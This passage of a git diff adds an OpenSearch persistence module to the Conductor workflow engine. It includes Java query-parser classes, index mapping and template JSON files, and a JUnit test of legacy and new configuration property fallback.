Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Constant value can be: + *

      + *
    1. List of values (a,b,c) + *
    2. Range of values (m AND n) + *
    3. A value (x) + *
    4. A value is either a string or a number + *
    + */ +public class ConstValue extends AbstractNode { + + public static enum SystemConsts { + NULL("null"), + NOT_NULL("not null"); + private String value; + + SystemConsts(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + private static String QUOTE = "\""; + + private Object value; + + private SystemConsts sysConsts; + + public ConstValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(4); + String sp = new String(peeked).trim(); + // Read a constant value (number or a string) + if (peeked[0] == '"' || peeked[0] == '\'') { + this.value = readString(is); + } else if (sp.toLowerCase().startsWith("not")) { + this.value = SystemConsts.NOT_NULL.value(); + sysConsts = SystemConsts.NOT_NULL; + read(SystemConsts.NOT_NULL.value().length()); + } else if (sp.equalsIgnoreCase(SystemConsts.NULL.value())) { + this.value = SystemConsts.NULL.value(); + sysConsts = SystemConsts.NULL; + read(SystemConsts.NULL.value().length()); + } else { + this.value = readNumber(is); + } + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * Reads an escaped string + * + * @throws Exception + */ + private String readString(InputStream is) throws Exception { + char delim = (char) read(1)[0]; + StringBuilder sb = new StringBuilder(); + boolean valid = false; + while (is.available() > 0) { + char c = (char) is.read(); + if (c == delim) { + valid = true; + break; + } else if (c == '\\') { + // read the next character as part of the value + c = (char) is.read(); + sb.append(c); + } else { + sb.append(c); + } + } + if (!valid) { + throw new ParserException( + "String constant is not quoted with <" + delim + "> : " + sb.toString()); + } + return QUOTE + sb.toString() + QUOTE; + } + + public Object getValue() { + return value; + } + + @Override + public String toString() { + return "" + value; + } + + public String getUnquotedValue() { + String result = toString(); + if (result.length() >= 2 && result.startsWith(QUOTE) && result.endsWith(QUOTE)) { + result = result.substring(1, result.length() - 1); + } + return result; + } + + public boolean isSysConstant() { + return this.sysConsts != null; + } + + public SystemConsts getSysConstant() { + return this.sysConsts; + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/FunctionThrowingException.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/FunctionThrowingException.java new file mode 100644 index 0000000..41fa7db --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/FunctionThrowingException.java @@ -0,0 +1,22 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +/** + * @author Viren + */ +@FunctionalInterface +public interface FunctionThrowingException { + + void accept(T t) throws Exception; +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ListConst.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ListConst.java new file mode 100644 index 0000000..187a396 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ListConst.java @@ -0,0 +1,70 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; +import java.util.LinkedList; +import java.util.List; + +/** + * @author Viren List of constants + */ +public class ListConst extends AbstractNode { + + private List values; + + public ListConst(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + this.values = readList(); + } + + private List readList() throws Exception { + List list = new LinkedList(); + boolean valid = false; + char c; + + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + c = (char) is.read(); + if (c == ')') { + valid = true; + break; + } else if (c == ',') { + list.add(sb.toString().trim()); + sb = new StringBuilder(); + } else { + sb.append(c); + } + } + list.add(sb.toString().trim()); + if (!valid) { + throw new ParserException("Expected ')' but never encountered in the stream"); + } + return list; + } + + public List getList() { + return (List) values; + } + + @Override + public String toString() { + return values.toString(); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Name.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Name.java new file mode 100644 index 0000000..0f48b29 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Name.java @@ -0,0 +1,41 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Represents the name of the field to be searched against. + */ +public class Name extends AbstractNode { + + private String value; + + public Name(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.value = readToken(); + } + + @Override + public String toString() { + return value; + } + + public String getName() { + return value; + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ParserException.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ParserException.java new file mode 100644 index 0000000..f39bcc7 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ParserException.java @@ -0,0 +1,28 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +/** + * @author Viren + */ +@SuppressWarnings("serial") +public class ParserException extends Exception { + + public ParserException(String message) { + super(message); + } + + public ParserException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Range.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Range.java new file mode 100644 index 0000000..2bc9623 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Range.java @@ -0,0 +1,80 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class Range extends AbstractNode { + + private String low; + + private String high; + + public Range(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.low = readNumber(is); + + skipWhitespace(); + byte[] peeked = read(3); + assertExpected(peeked, "AND"); + skipWhitespace(); + + String num = readNumber(is); + if (num == null || "".equals(num)) { + throw new ParserException("Missing the upper range value..."); + } + this.high = num; + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * @return the low + */ + public String getLow() { + return low; + } + + /** + * @return the high + */ + public String getHigh() { + return high; + } + + @Override + public String toString() { + return low + " AND " + high; + } +} diff --git a/os-persistence-v2/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/os-persistence-v2/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..aa34ae1 --- /dev/null +++ b/os-persistence-v2/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.os2.config.OpenSearchConfiguration diff --git a/os-persistence-v2/src/main/resources/mappings_docType_task.json b/os-persistence-v2/src/main/resources/mappings_docType_task.json new file mode 100644 index 0000000..3d102a0 --- /dev/null +++ b/os-persistence-v2/src/main/resources/mappings_docType_task.json @@ -0,0 +1,66 @@ +{ + "properties": { + "correlationId": { + "type": "keyword", + "index": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "executionTime": { + "type": "long" + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "queueWaitTime": { + "type": "long" + }, + "reasonForIncompletion": { + "type": "keyword", + "index": true + }, + "scheduledTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "status": { + "type": "keyword", + "index": true + }, + "taskDefName": { + "type": "keyword", + "index": true + }, + "taskId": { + "type": "keyword", + "index": true + }, + "taskType": { + "type": "keyword", + "index": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "workflowId": { + "type": "keyword", + "index": true + }, + "workflowType": { + "type": "keyword", + "index": true + } + } +} diff --git a/os-persistence-v2/src/main/resources/mappings_docType_workflow.json b/os-persistence-v2/src/main/resources/mappings_docType_workflow.json new file mode 100644 index 0000000..cd85c1d --- /dev/null +++ b/os-persistence-v2/src/main/resources/mappings_docType_workflow.json @@ -0,0 +1,77 @@ +{ + "properties": { + "correlationId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "executionTime": { + "type": "long", + "doc_values": true + }, + "failedReferenceTaskNames": { + "type": "text", + "index": false + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "reasonForIncompletion": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "status": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "version": { + "type": "long", + "doc_values": true + }, + "workflowId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "workflowType": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "rawJSON": { + "type": "text", + "index": false + }, + "event": { + "type": "keyword", + "index": true + }, + "classifier": { + "type": "keyword", + "index": true, + "doc_values": true + } + } +} diff --git a/os-persistence-v2/src/main/resources/template_event.json b/os-persistence-v2/src/main/resources/template_event.json new file mode 100644 index 0000000..2b9f43f --- /dev/null +++ b/os-persistence-v2/src/main/resources/template_event.json @@ -0,0 +1,49 @@ +{ + "index_patterns": [ "*event*" ], + "priority": 2, + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "action": { + "type": "keyword", + "index": true + }, + "created": { + "type": "long" + }, + "event": { + "type": "keyword", + "index": true + }, + "id": { + "type": "keyword", + "index": true + }, + "messageId": { + "type": "keyword", + "index": true + }, + "name": { + "type": "keyword", + "index": true + }, + "output": { + "properties": { + "workflowId": { + "type": "keyword", + "index": true + } + } + }, + "status": { + "type": "keyword", + "index": true + } + } + }, + "aliases" : { } + } +} diff --git a/os-persistence-v2/src/main/resources/template_message.json b/os-persistence-v2/src/main/resources/template_message.json new file mode 100644 index 0000000..cffaf24 --- /dev/null +++ b/os-persistence-v2/src/main/resources/template_message.json @@ -0,0 +1,29 @@ +{ + "index_patterns": [ "*message*" ], + "priority": 3, + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "created": { + "type": "long" + }, + "messageId": { + "type": "keyword", + "index": true + }, + "payload": { + "type": "keyword", + "index": true + }, + "queue": { + "type": "keyword", + "index": true + } + } + }, + "aliases": { } + } +} diff --git a/os-persistence-v2/src/main/resources/template_task_log.json b/os-persistence-v2/src/main/resources/template_task_log.json new file mode 100644 index 0000000..a205657 --- /dev/null +++ b/os-persistence-v2/src/main/resources/template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns": [ "*task*log*" ], + "priority": 1, + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "createdTime": { + "type": "long" + }, + "log": { + "type": "text" + }, + "taskId": { + "type": "keyword", + "index": true + } + } + }, + "aliases": { } + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/config/OpenSearchPropertiesTest.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/config/OpenSearchPropertiesTest.java new file mode 100644 index 0000000..85ba30e --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/config/OpenSearchPropertiesTest.java @@ -0,0 +1,471 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.config; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.context.annotation.Configuration; +import org.springframework.mock.env.MockEnvironment; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import static org.junit.Assert.*; + +public class OpenSearchPropertiesTest { + + // ========================================================================= + // Test Cluster 1: Backward Compatibility + // ========================================================================= + + @Test + public void testLegacyUrlPropertyFallback() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals("http://legacy:9200", props.getUrl()); + } + + @Test + public void testLegacyVersionPropertyFallback() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "2"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); + } + + @Test + public void testLegacyIndexNamePropertyFallback() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals("legacy_prefix", props.getIndexPrefix()); + } + + @Test + public void testVersionZeroIsIgnoredAsES7DisableFlag() { + // conductor.elasticsearch.version=0 is a special flag to disable ES7 auto-config + // It should NOT set OpenSearch version to 0 + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "0"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); // Should use default, not 0 + } + + @Test + public void testInvalidLegacyVersionUsesDefault() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "invalid"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); // Should use default + } + + @Test + public void testAllLegacyPropertiesFallback() { + MockEnvironment env = new MockEnvironment(); + // Set all legacy properties + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + env.setProperty("conductor.elasticsearch.version", "1"); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.elasticsearch.clusterHealthColor", "yellow"); + env.setProperty("conductor.elasticsearch.indexBatchSize", "100"); + env.setProperty("conductor.elasticsearch.asyncWorkerQueueSize", "200"); + env.setProperty("conductor.elasticsearch.asyncMaxPoolSize", "24"); + env.setProperty("conductor.elasticsearch.indexShardCount", "10"); + env.setProperty("conductor.elasticsearch.indexReplicasCount", "2"); + env.setProperty("conductor.elasticsearch.taskLogResultLimit", "50"); + env.setProperty("conductor.elasticsearch.restClientConnectionRequestTimeout", "5000"); + env.setProperty("conductor.elasticsearch.autoIndexManagementEnabled", "false"); + env.setProperty("conductor.elasticsearch.username", "admin"); + env.setProperty("conductor.elasticsearch.password", "secret"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + // Verify all properties loaded from legacy namespace + assertEquals("http://legacy:9200", props.getUrl()); + assertEquals(1, props.getVersion()); + assertEquals("legacy_prefix", props.getIndexPrefix()); + assertEquals("yellow", props.getClusterHealthColor()); + assertEquals(100, props.getIndexBatchSize()); + assertEquals(200, props.getAsyncWorkerQueueSize()); + assertEquals(24, props.getAsyncMaxPoolSize()); + assertEquals(10, props.getIndexShardCount()); + assertEquals(2, props.getIndexReplicasCount()); + assertEquals(50, props.getTaskLogResultLimit()); + assertEquals(5000, props.getRestClientConnectionRequestTimeout()); + assertFalse(props.isAutoIndexManagementEnabled()); + assertEquals("admin", props.getUsername()); + assertEquals("secret", props.getPassword()); + } + + @Test + public void testNullEnvironmentIsHandledGracefully() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(null); + props.init(); // Should not throw + + // Should use defaults + assertEquals(2, props.getVersion()); + assertEquals("localhost:9201", props.getUrl()); + } + + // ========================================================================= + // Test Cluster 2: Version Validation + // ========================================================================= + + @Test + public void testSupportedVersion1IsAccepted() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(1); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should not throw + + assertEquals(1, props.getVersion()); + } + + @Test + public void testSupportedVersion2IsAccepted() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(2); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should not throw + + assertEquals(2, props.getVersion()); + } + + @Test + public void testDefaultVersionIs2() { + OpenSearchProperties props = new OpenSearchProperties(); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); + } + + @Test(expected = IllegalArgumentException.class) + public void testUnsupportedVersion3ThrowsException() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(3); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should throw IllegalArgumentException + } + + @Test(expected = IllegalArgumentException.class) + public void testUnsupportedVersion99ThrowsException() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(99); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should throw IllegalArgumentException + } + + @Test + public void testUnsupportedVersionExceptionMessage() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(99); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + + try { + props.init(); + fail("Expected IllegalArgumentException"); + } catch (IllegalArgumentException e) { + // Verify error message contains useful information + assertTrue(e.getMessage().contains("Unsupported OpenSearch version: 99")); + assertTrue(e.getMessage().contains("Supported versions are")); + } + } + + @Test + public void testAllSupportedVersionsAreAccepted() { + // Test all versions in SUPPORTED_VERSIONS set + for (int version : OpenSearchProperties.getSupportedVersions()) { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(version); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should not throw + + assertEquals(version, props.getVersion()); + } + } + + // ========================================================================= + // Test Cluster 3: Property Precedence + // ========================================================================= + + @Test + public void testNewUrlPropertyOverridesLegacy() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + env.setProperty("conductor.opensearch.url", "http://new:9200"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new property + props.setUrl("http://new:9200"); + props.setEnvironment(env); + props.init(); + + // New property should be preserved (not overridden by legacy fallback) + assertEquals("http://new:9200", props.getUrl()); + } + + @Test + public void testNewVersionPropertyOverridesLegacy() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "1"); + env.setProperty("conductor.opensearch.version", "2"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new property + props.setVersion(2); + props.setEnvironment(env); + props.init(); + + // New property should be preserved (not overridden by legacy fallback) + assertEquals(2, props.getVersion()); + } + + @Test + public void testNewIndexPrefixPropertyOverridesLegacy() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.opensearch.indexPrefix", "new_prefix"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new property + props.setIndexPrefix("new_prefix"); + props.setEnvironment(env); + props.init(); + + // New property should be preserved (not overridden by legacy fallback) + assertEquals("new_prefix", props.getIndexPrefix()); + } + + @Test + public void testMixedPropertiesResolveCorrectly() { + MockEnvironment env = new MockEnvironment(); + // Legacy properties set in environment + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.elasticsearch.indexBatchSize", "100"); + env.setProperty("conductor.opensearch.url", "http://new:9200"); + env.setProperty("conductor.opensearch.version", "2"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new properties + props.setUrl("http://new:9200"); + props.setVersion(2); + // Don't set indexPrefix or indexBatchSize - let them fallback from legacy + props.setEnvironment(env); + props.init(); + + // New properties should be preserved + assertEquals("http://new:9200", props.getUrl()); + assertEquals(2, props.getVersion()); + // Legacy properties should be used where new ones aren't set + assertEquals("legacy_prefix", props.getIndexPrefix()); + assertEquals(100, props.getIndexBatchSize()); + } + + @Test + public void testOnlyNewPropertiesWork() { + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding + props.setUrl("http://new:9200"); + props.setVersion(2); + props.setIndexPrefix("new_prefix"); + props.setClusterHealthColor("yellow"); + + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); + + assertEquals("http://new:9200", props.getUrl()); + assertEquals(2, props.getVersion()); + assertEquals("new_prefix", props.getIndexPrefix()); + assertEquals("yellow", props.getClusterHealthColor()); + } + + @Test + public void testNewPropertiesTakePrecedenceForAllConfigurableFields() { + MockEnvironment env = new MockEnvironment(); + // Set all as legacy + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.elasticsearch.clusterHealthColor", "green"); + env.setProperty("conductor.elasticsearch.indexReplicasCount", "1"); + env.setProperty("conductor.elasticsearch.username", "legacy_user"); + // Set new properties in environment so hasNewProperty() returns true + env.setProperty("conductor.opensearch.url", "http://new:9200"); + env.setProperty("conductor.opensearch.indexPrefix", "new_prefix"); + env.setProperty("conductor.opensearch.clusterHealthColor", "yellow"); + env.setProperty("conductor.opensearch.indexReplicasCount", "2"); + env.setProperty("conductor.opensearch.username", "new_user"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new properties + props.setUrl("http://new:9200"); + props.setIndexPrefix("new_prefix"); + props.setClusterHealthColor("yellow"); + props.setIndexReplicasCount(2); + props.setUsername("new_user"); + props.setEnvironment(env); + props.init(); + + // All new properties should be preserved (not overridden by legacy fallback) + assertEquals("http://new:9200", props.getUrl()); + assertEquals("new_prefix", props.getIndexPrefix()); + assertEquals("yellow", props.getClusterHealthColor()); + assertEquals(2, props.getIndexReplicasCount()); + assertEquals("new_user", props.getUsername()); + } + + @Test + public void testHasNewPropertyDetectsCorrectly() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.opensearch.url", "http://new:9200"); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Set only URL via new property + props.setUrl("http://new:9200"); + // Don't set indexPrefix - let it fallback from legacy + props.setEnvironment(env); + props.init(); + + // URL was set via new property (should be preserved) + assertEquals("http://new:9200", props.getUrl()); + // IndexPrefix was not set via new property (should use legacy fallback) + assertEquals("legacy_prefix", props.getIndexPrefix()); + } + + // ========================================================================= + // Test Cluster 4: Integration Tests + // ========================================================================= + + /** Integration test with Spring Boot context to verify new properties work end-to-end. */ + @RunWith(SpringRunner.class) + @SpringBootTest( + classes = OpenSearchPropertiesTest.IntegrationTestWithNewProperties.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.opensearch.url=http://integration-new:9200", + "conductor.opensearch.version=2", + "conductor.opensearch.indexPrefix=integration_new", + "conductor.opensearch.clusterHealthColor=yellow" + }) + public static class IntegrationTestWithNewProperties { + + @Configuration + @EnableConfigurationProperties(OpenSearchProperties.class) + static class TestConfig {} + + @Autowired private OpenSearchProperties properties; + + @Test + public void testNewPropertiesBindCorrectlyInSpringContext() { + assertEquals("http://integration-new:9200", properties.getUrl()); + assertEquals(2, properties.getVersion()); + assertEquals("integration_new", properties.getIndexPrefix()); + assertEquals("yellow", properties.getClusterHealthColor()); + } + } + + /** Integration test with Spring Boot context to verify legacy properties still work. */ + @RunWith(SpringRunner.class) + @SpringBootTest( + classes = OpenSearchPropertiesTest.IntegrationTestWithLegacyProperties.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.elasticsearch.url=http://integration-legacy:9200", + "conductor.elasticsearch.version=1", + "conductor.elasticsearch.indexName=integration_legacy", + "conductor.elasticsearch.clusterHealthColor=green" + }) + public static class IntegrationTestWithLegacyProperties { + + @Configuration + @EnableConfigurationProperties(OpenSearchProperties.class) + static class TestConfig {} + + @Autowired private OpenSearchProperties properties; + + @Test + public void testLegacyPropertiesBindCorrectlyInSpringContext() { + assertEquals("http://integration-legacy:9200", properties.getUrl()); + assertEquals(1, properties.getVersion()); + assertEquals("integration_legacy", properties.getIndexPrefix()); + assertEquals("green", properties.getClusterHealthColor()); + } + } + + /** Integration test with Spring Boot context to verify mixed properties resolve correctly. */ + @RunWith(SpringRunner.class) + @SpringBootTest( + classes = OpenSearchPropertiesTest.IntegrationTestWithMixedProperties.TestConfig.class) + @TestPropertySource( + properties = { + // Legacy properties + "conductor.elasticsearch.indexName=legacy_mixed", + "conductor.elasticsearch.clusterHealthColor=green", + // New properties (should take precedence) + "conductor.opensearch.url=http://integration-mixed:9200", + "conductor.opensearch.version=2" + }) + public static class IntegrationTestWithMixedProperties { + + @Configuration + @EnableConfigurationProperties(OpenSearchProperties.class) + static class TestConfig {} + + @Autowired private OpenSearchProperties properties; + + @Test + public void testMixedPropertiesResolveCorrectlyInSpringContext() { + // New properties should win + assertEquals("http://integration-mixed:9200", properties.getUrl()); + assertEquals(2, properties.getVersion()); + // Legacy properties should be used where new ones aren't set + assertEquals("legacy_mixed", properties.getIndexPrefix()); + assertEquals("green", properties.getClusterHealthColor()); + } + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDaoBaseTest.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDaoBaseTest.java new file mode 100644 index 0000000..3f7962e --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDaoBaseTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

